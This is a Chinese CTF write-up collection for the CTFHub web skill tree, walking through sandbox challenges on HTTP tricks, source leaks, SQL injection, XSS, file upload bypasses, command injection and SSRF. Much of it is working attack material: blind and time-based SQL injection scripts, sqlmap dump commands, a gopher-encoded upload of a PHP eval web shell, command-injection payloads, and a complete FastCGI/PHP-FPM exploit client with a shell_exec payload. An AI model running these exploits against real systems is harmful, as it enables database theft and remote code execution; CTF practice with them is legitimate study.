题目来自ctfhub技能树web部分,截至2020年11月11日题目更新
(空)
(空)
HTTP 请求方法, HTTP/1.1协议中共定义了八种方法(也叫动作)来以不同方式操作指定的资源。
1.OPTIONS
返回服务器针对特定资源所支持的HTTP请求方法。也可以利用向Web服务器发送’*'的请求来测试服务器的功能性,如获取当前URL所支持的方法。若请求成功,则它会在HTTP头中包含一个名为“Allow”的头,值是所支持的方法,如“GET,POST”。
2.HEAD
向服务器索要与GET请求相一致的响应,只不过响应体将不会被返回,可用于欲判断某个资源是否存在。
3.GET
向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中。
4.POST
向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。可能会导致新的资源的建立和/或已有资源 的修改。
5.PUT
向指定资源位置上传其最新内容。
6.DELETE
请求服务器删除Request-URI所标识的资源。
7.TRACE
回显服务器收到的请求,主要用于测试或诊断。
8.CONNECT
HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
http请求要使用CTFHUB的方式请求,这里需要用到curl命令
HTTP临时重定向
打开burpsuite开启拦截,然后点击Give me flag,右键发送到repeater
点击发送,得到flag
Cookie欺骗、认证、伪造
打开burpsuite开启拦截,刷新页面,把admin=0改成admin=1
然后放包
在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证
点击click会出现一个登录页面
那么思路很明确了,抓包爆破密码,抓到的包认证字段是base64编码的
解码来看看
这里需要把admin:对应的密码 转换成base64格式,需要用到python脚本了
import base64
dic = '100.txt'
with open(dic, 'r') as f:
password_dic = f.readlines()
username = 'admin:'
for password in password_dic:
str1=str.encode(username + password.strip())
enstr = base64.b64encode(str1)
enstr=str(enstr)
enstr=enstr.strip('b\'')
print(enstr)
把编码的数据粘贴到burpsuite测试器,爆破一下就可以了
HTTP响应包源代码查看
打开网址,直接F12查看控制台,就可以看到flag了
(空)
(空)
(空)
(空)
(空)
(空)
(空)
(空)
(空)
(空)
当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
查看三个文件都没有flag,于是在网站上访问txt文件,得到flag
当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
访问index.php.bak下载源码文件
当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。
提示flag在index.php源码中,百度了一下vim缓存文件的后缀为.swp,因为vim缓存文件为隐藏的,所以要在前面再加一个点 访问.index.php.swp,就可以下载下来
使用文本文件打开是乱码,所以我们用16进制编辑器打开,得到flag
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
直接访问.DS_Store,下载,打开还是乱码,上HxD
在文件中看到这么一串字符,复制出来,去掉点,感觉有点像md5加密过的字符,
先不管,直接访问,得到flag
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
既然题目提示了git泄露漏洞,那么直接下载源码
python3 GitHacker.py http://challenge-3a9f32a6257c2086.sandbox.ctfhub.com:10080/.git
cd challenge-3a9f32a6257c2086_sandbox_ctfhub_com\:10080_/
git log //查看历史记录
git diff 1881aa7f722b53315cce8d7c068fd427e99fcf23 //比较版本
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
python3 GitHacker.py http://challenge-34dd4fc45ce6ce3b.sandbox.ctfhub.com:10080/.git
进入目录
git stash pop
cat 179512261914220.txt
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
python3 GitHacker.py http://challenge-82987fffb8ed48b7.sandbox.ctfhub.com:10080/.git
cd challenge-82987fffb8ed48b7_sandbox_ctfhub_com\:10080_/
git log
git diff 4fec6a44c7d1116345e6872f69262767d69461fb
工具:https://github.com/kost/dvcs-ripper
当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。
工具:https://github.com/kost/dvcs-ripper
./rip-hg.pl -v -u http://challenge-774a58fd50e6acf9.sandbox.ctfhub.com:10080/.hg/
cd .hg
grep -r flag*
通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。
直接抓包爆破,就爆破出来了
(空)
搜索这个网关的默认密码,挨个试一试就可以了,用户名:eyougw 密码:admin@(eyou)
(空)
SQL注入 字符型注入, 尝试获取数据库中的 flag
大同小异,加个引号和注释就可以了
输入1出现query_success
输入2出现query_success
输入3出现query_error
查询只出现正确或者错误
可以手工注入,不过有点麻烦,可以了解一下即可
https://blog.csdn.net/weixin_45254208/article/details/107505114
三种方法
第一种 sqlmap
kali为例:
payload:
前提url中找到注入点
sqlmap -u "url" --dbs
sqlmap -u "url" -D [上一步得到的数据库名] --tables
sqlmap -u "url" -D [上一步得到的数据库名] -T [上一步得到的表明] --columns
sqlmap -u "url" -D [上一步得到的数据库名] -T [上一步得到的表明] -C [上一步得到的列名] --dump
第二种 burpsuite
参考:https://blog.csdn.net/weixin_43486981/article/details/107914742
第三种 脚本
import requests
import time
urlOPEN = 'http://challenge-024aac0fff094f88.sandbox.ctfhub.com:10080?id='
starOperatorTime = []
mark = 'query_success'
def database_name():
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
def table_name():
list = []
for k in range(0, 4):
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('table_name:', list)
# start = time.time()
table_name()
# stop = time.time()
# starOperatorTime.append(stop-start)
# print("所用的平均时间: " + str(sum(starOperatorTime)/100))
def column_name():
list = []
for k in range(0, 3): # 判断表里最多有4个字段
name = ''
for j in range(1, 9): # 判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('column_name:', list)
column_name()
def get_data():
name = ''
for j in range(1, 50): # 判断一个值最多有51个字符组成
for i in range(48, 126):
url = urlOPEN + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (
j, i)
r = requests.get(url)
if mark in r.text:
name = name + chr(i)
print(name)
break
print('value:', name)
get_data()
1 and if(length(database())=4,sleep(3),1)
https://blog.csdn.net/weixin_45254208/article/details/107578439
sqlmap一把梭
同上
脚本一把梭
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import sys
import time
session = requests.session()
url = "http://challenge-4ec6ce755e463fe8.sandbox.ctfhub.com:10080/?id="
name = ""
# for k in range(1, 10):
# for i in range(1, 10):
# print(i)
# for j in range(31, 128):
# j = (128 + 31) - j
# str_ascii = chr(j)
# # 数据库名
# # payolad = "if(substr(database(),%s,1) = '%s',sleep(1),1)" % (str(i), str(str_ascii))
# # 表名
# # payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,str(str_ascii))
# # 字段名
# # payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
# start_time = time.time()
# str_get = session.get(url=url + payolad)
# end_time = time.time()
# t = end_time - start_time
# if t > 1:
# if str_ascii == "+":
# sys.exit()
# else:
# name += str_ascii
# break
# print(name)
# 查询字段内容
for i in range(1, 50):
print(i)
for j in range(31, 128):
j = (128 + 31) - j
str_ascii = chr(j)
payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" % (i, str_ascii)
start_time = time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)
查数据库:-1 union select 1,database()
查表名:-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()
查列名:-1 union select 1,group_concat(column_name)from information_schema.columns where table_name=“yimmfdfely”
查字段:-1 union select 1,group_concat(zfgpxaydbu)from yimmfdfely
或者sqlmap一把梭
burpsuite抓包,发送到重发器
在id=1处测试,发现有注入,上一题同样的payload
sqlmap
sqlmap -u "url" --cookie "id=1" --level 2 --dbs
sqlmap -u "url" --cookie "id=1" --level 2 -D [上一步得到的数据库名] --tables
sqlmap -u "url" --cookie "id=1" --level 2 -D [上一步得到的数据库名] -T [上一步得到的表明] --columns
sqlmap -u "url" --cookie "id=1" --level 2 -D [上一步得到的数据库名] -T [上一步得到的表明] -C [上一步得到的列名] --dump
burpsuite抓包,直接在User-Agent:测试
存在注入点,没有过滤,直接注入即可拿到flag
sqlmap
#第一种方法 把请求头放到UAsql.txt
sqlmap -r "UAsql.txt" --level 3 --dbs
sqlmap -r "UAsql.txt" --level 3 -D [上一步得到的数据库名] --tables
sqlmap -r "UAsql.txt" --level 3 -D -D [上一步得到的数据库名] -T [上一步得到的表明] --columns --dump
#第二种方法
sqlmap -u "url" --level 3 --dbs
sqlmap -u "url" --level 3 -D [上一步得到的数据库名] --tables
sqlmap -u "url" --level 3 -D [上一步得到的数据库名] -T [上一步得到的表明] --columns
sqlmap -u "url" --level 3 -D [上一步得到的数据库名] -T [上一步得到的表明] -C [上一步得到的列名] --dump
在请求头加入Referer: 1
有注入点,开始一把梭
sqlmap
#第一种方法 把请求头放到Refersql.txt
sqlmap -r "Refersql.txt" --level 5 --dbs
sqlmap -r "Refersql.txt" --level 5 -D [上一步得到的数据库名] --tables
sqlmap -r "Refersql.txt" --level 5 -D -D [上一步得到的数据库名] -T [上一步得到的表明] --columns --dump
#第二种方法
sqlmap -u "url" --level 5 --dbs
sqlmap -u "url" --level 5 -D [上一步得到的数据库名] --tables
sqlmap -u "url" --level 5 -D [上一步得到的数据库名] -T [上一步得到的表明] --columns
sqlmap -u "url" --level 5 -D [上一步得到的数据库名] -T [上一步得到的表明] -C [上一步得到的列名] --dump
(空)
(空)
(空)
(空)
(空)
输入空格就会显示hacker!!!
使用/**/过滤
sqlmap
sqlmap -u "url" --tamper "space2comment.py" --dbs
sqlmap -u "url" --tamper "space2comment.py" -D [上一步得到的数据库名] --tables
sqlmap -u "url" --tamper "space2comment.py" -D [上一步得到的数据库名] -T [上一步得到的表明] --columns
sqlmap -u "url" --tamper "space2comment.py" -D [上一步得到的数据库名] -T [上一步得到的表明] -C [上一步得到的列名] --dump
(空)
(空)
(空)
(空)
注册一个xss平台,新建个项目,配置一下
把上面代码复制到下面第一个框,点击Submit
把url复制到第二个框,点击发送
在xss平台就接收到了,查看cookie,里面带有cookie
(空)
(空)
(空)
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
上传php文件不可以了,我们来看他的提示htaccess,明显是让我们改规则
上传.htaccess文件,内容为
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
意思是文件名字中只要包含1,就把文件当做PHP文件处理
我们来上传1.abc文件
然后就是老套路
http://challenge-0620b9cb21c00684.sandbox.ctfhub.com:10080/upload/1.abc?cmd=system(‘cat …/flag_262811007.php’);
记得ctrl+u查看网页源代码
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
它是一个互联网标准,扩展了电子邮件标准,使其能够支持:
非ASCII字符文本;非文本格式附件(二进制、声音、图像等);由多部分(multiple parts)组成的消息体;包含非ASCII字符的头信息(Header information)。
这个标准被定义在RFC 2045、RFC 2046、RFC 2047、RFC 2048、RFC 2049等RFC中。 MIME改善了由RFC 822转变而来的RFC 2822,这些旧标准规定电子邮件标准并不允许在邮件消息中使用7位ASCII字符集以外的字符。正因如此,一些非英语字符消息和二进制文件,图像,声音等非文字消息原本都不能在电子邮件中传输(MIME可以)。MIME规定了用于表示各种各样的数据类型的符号化方法。 此外,在万维网中使用的HTTP协议中也使用了MIME的框架,标准被扩展为互联网媒体类型。
上传成功,然后还是老样子拿flag
了解一下 PHP 5.2 00截断上传的原理
这样上传成功,然后尝试访问1.php失败,查看网页源代码会发现,有这样一串代码
审计代码,
$_FILES 解释(搬自php手册)
$_FILES 数组内容如下:
$_FILES[‘myFile’][‘name’] 客户端文件的原名称。
$_FILES[‘myFile’][‘type’] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
$_FILES[‘myFile’][‘size’] 已上传文件的大小,单位为字节。
$_FILES[‘myFile’][‘tmp_name’] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在 php.ini 的 upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。
$_FILES[‘myFile’][‘error’] 和该文件上传相关的错误代码。[‘error’] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在 PHP 4.3.0 之后变成了 PHP 常量。)
basename() 函数:返回路径中的文件名部分。
$_name 是上传的文件名加后缀
$_ext 得到的就是后缀名
重点就在 $des这个变量
得到的完整路径是 GET[‘road’]+随机数+日期加前面获得的后缀名
改payload
上传成功,查看目录然后发现之前上传被转成png文件的文件
然后继续老方法找到flag
(空)
(空)
(空)
(空)
(空)
(空)
(空)
(空)
http://challenge-1b633b95c9741255.sandbox.ctfhub.com:10080/?cmd=system('whoami');
http://challenge-1b633b95c9741255.sandbox.ctfhub.com:10080/?cmd=system('find / -name flag*');
http://challenge-1b633b95c9741255.sandbox.ctfhub.com:10080/?cmd=system('cat /sys/devices/virtual/net/dummy0/flags /flag_27885');
Windows系统支持的管道符如下:
1. “|”:直接执行后面的语句。
2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
Linux系统支持的管道符如下:
1. “;”:执行完前面的语句再执行后面的语句。
2. “|”:显示后面语句的执行结果。
3. “||”:当前面的语句执行出错时,执行后面的语句。
4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag
a | cat 179342647723611.php
a | more flag_225983090619703.php
这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗
a;cd flag_is_here;cat flag_210571305920265.php
同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?
此题要用到url编码
来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,
直接访问抓包
放一次包,看到有一个url=_,右键发送到测试器
构造url=dict://127.0.0.1:§8000§,爆破
最后测试出端口为8509
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.我准备了一个302.php,可能对你有用哦
访问flag.php,出现一个输入框,查看网页源代码
有一个key,我们把这个key输入到那个框中试一下,不好使
做了好久不会做,看了大佬们的wp,也搞了好久才做出来
https://blog.csdn.net/qq_33295410/article/details/108619685
https://www.cnblogs.com/Web-Fresher/p/13723421.html
https://blog.csdn.net/rfrder/article/details/108589988
题目中提示有302.php。但是一直找不到302.php
这是payload 不需要302.php 但是要吧自己最后的key给改了
http://challenge-c2166a0a98ba6c36.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D115cf60ba5a5d1f9875c4c94d71c89c7
这次需要上传一个文件到flag.php了.我准备了个302.php可能会有用.祝你好运
没有提交按钮
<input type="submit" value="go" />
我们把host那里改成127.0.0.1:80
,然后复制,url编码一次,把%0A换成%0D%0A,然后再url编码两次:
http://challenge-1de70ef379ea9c1b.sandbox.ctfhub.com:10080/?url=http://127.0.0.1/?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520challenge-1de70ef379ea9c1b.sandbox.ctfhub.com%25253A10080%25250D%25250AUser-Agent%25253A%252520Mozilla%25252F5.0%252520(Windows%252520NT%25252010.0%25253B%252520WOW64%25253B%252520rv%25253A52.0)%252520Gecko%25252F20100101%252520Firefox%25252F52.0%25250D%25250AAccept%25253A%252520text%25252Fhtml%25252Capplication%25252Fxhtml%25252Bxml%25252Capplication%25252Fxml%25253Bq%25253D0.9%25252C*%25252F*%25253Bq%25253D0.8%25250D%25250AAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.8%25252Cen-US%25253Bq%25253D0.5%25252Cen%25253Bq%25253D0.3%25250D%25250AAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25250D%25250AReferer%25253A%252520http%25253A%25252F%25252Fchallenge-1de70ef379ea9c1b.sandbox.ctfhub.com%25253A10080%25252F%25253Furl%25253D127.0.0.1%25252Fflag.php%25250D%25250ADNT%25253A%2525201%25250D%25250AConnection%25253A%252520close%25250D%25250AUpgrade-Insecure-Requests%25253A%2525201%25250D%25250AContent-Type%25253A%252520multipart%25252Fform-data%25253B%252520boundary%25253D---------------------------124411238930548%25250D%25250AContent-Length%25253A%252520230%25250D%25250A%25250D%25250A-----------------------------124411238930548%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%2525222.php%252522%25250D%25250AContent-Type%25253A%252520application%25252Foctet-stream%25250D%25250A%25250D%25250A%25253C%25253Fphp%252520%252540eval(%252524_GET%25255B’cmd’%25255D)%25253B%252520%25253F%25253E%25250D%25250A-----------------------------124411238930548–
这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助
题目附件:https://blog.csdn.net/mysteryflower/article/details/94386461
首先我们进行监听9000端口,因为PHP-FPM默认监听9000端口:
然后运行脚本,使其产生的数据发送到9000端口,存到a.txt
python exp.py -c "" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php
# exp.py
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={
}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
把a.txt用16进制编辑器打开,复制16进制数据到脚本中进行编码
a='''
01 01 A7 63 00 08 00 00 00 01 00 00 00 00 00 00 01 04 A7 63 01 E7 00 00 0E 02 43 4F 4E 54 45 4E 54 5F 4C 45 4E 47 54 48 33 39 0C 10 43 4F 4E 54 45 4E 54 5F 54 59 50 45 61 70 70 6C 69 63 61 74 69 6F 6E 2F 74 65 78 74 0B 04 52 45 4D 4F 54 45 5F 50 4F 52 54 39 39 38 35 0B 09 53 45 52 56 45 52 5F 4E 41 4D 45 6C 6F 63 61 6C 68 6F 73 74 11 0B 47 41 54 45 57 41 59 5F 49 4E 54 45 52 46 41 43 45 46 61 73 74 43 47 49 2F 31 2E 30 0F 0E 53 45 52 56 45 52 5F 53 4F 46 54 57 41 52 45 70 68 70 2F 66 63 67 69 63 6C 69 65 6E 74 0B 09 52 45 4D 4F 54 45 5F 41 44 44 52 31 32 37 2E 30 2E 30 2E 31 0F 1B 53 43 52 49 50 54 5F 46 49 4C 45 4E 41 4D 45 2F 75 73 72 2F 6C 6F 63 61 6C 2F 6C 69 62 2F 70 68 70 2F 50 45 41 52 2E 70 68 70 0B 1B 53 43 52 49 50 54 5F 4E 41 4D 45 2F 75 73 72 2F 6C 6F 63 61 6C 2F 6C 69 62 2F 70 68 70 2F 50 45 41 52 2E 70 68 70 09 1F 50 48 50 5F 56 41 4C 55 45 61 75 74 6F 5F 70 72 65 70 65 6E 64 5F 66 69 6C 65 20 3D 20 70 68 70 3A 2F 2F 69 6E 70 75 74 0E 04 52 45 51 55 45 53 54 5F 4D 45 54 48 4F 44 50 4F 53 54 0B 02 53 45 52 56 45 52 5F 50 4F 52 54 38 30 0F 08 53 45 52 56 45 52 5F 50 52 4F 54 4F 43 4F 4C 48 54 54 50 2F 31 2E 31 0C 00 51 55 45 52 59 5F 53 54 52 49 4E 47 0F 16 50 48 50 5F 41 44 4D 49 4E 5F 56 41 4C 55 45 61 6C 6C 6F 77 5F 75 72 6C 5F 69 6E 63 6C 75 64 65 20 3D 20 4F 6E 0D 01 44 4F 43 55 4D 45 4E 54 5F 52 4F 4F 54 2F 0B 09 53 45 52 56 45 52 5F 41 44 44 52 31 32 37 2E 30 2E 30 2E 31 0B 1B 52 45 51 55 45 53 54 5F 55 52 49 2F 75 73 72 2F 6C 6F 63 61 6C 2F 6C 69 62 2F 70 68 70 2F 50 45 41 52 2E 70 68 70 01 04 A7 63 00 00 00 00 01 05 A7 63 00 27 00 00 3C 3F 70 68 70 20 76 61 72 5F 64 75 6D 70 28 73 68 65 6C 6C 5F 65 78 65 63 28 27 63 61 74 20 2F 27 29 29 3B 20 3F 3E 01 05 A7 63 00 00 00 00
'''
a=a.replace('\n','')
a=a.replace(' ','')
b=''
length=len(a)
for i in range(0,length,2):
b+='%'
b+=a[i]
b+=a[i+1]
print(b)
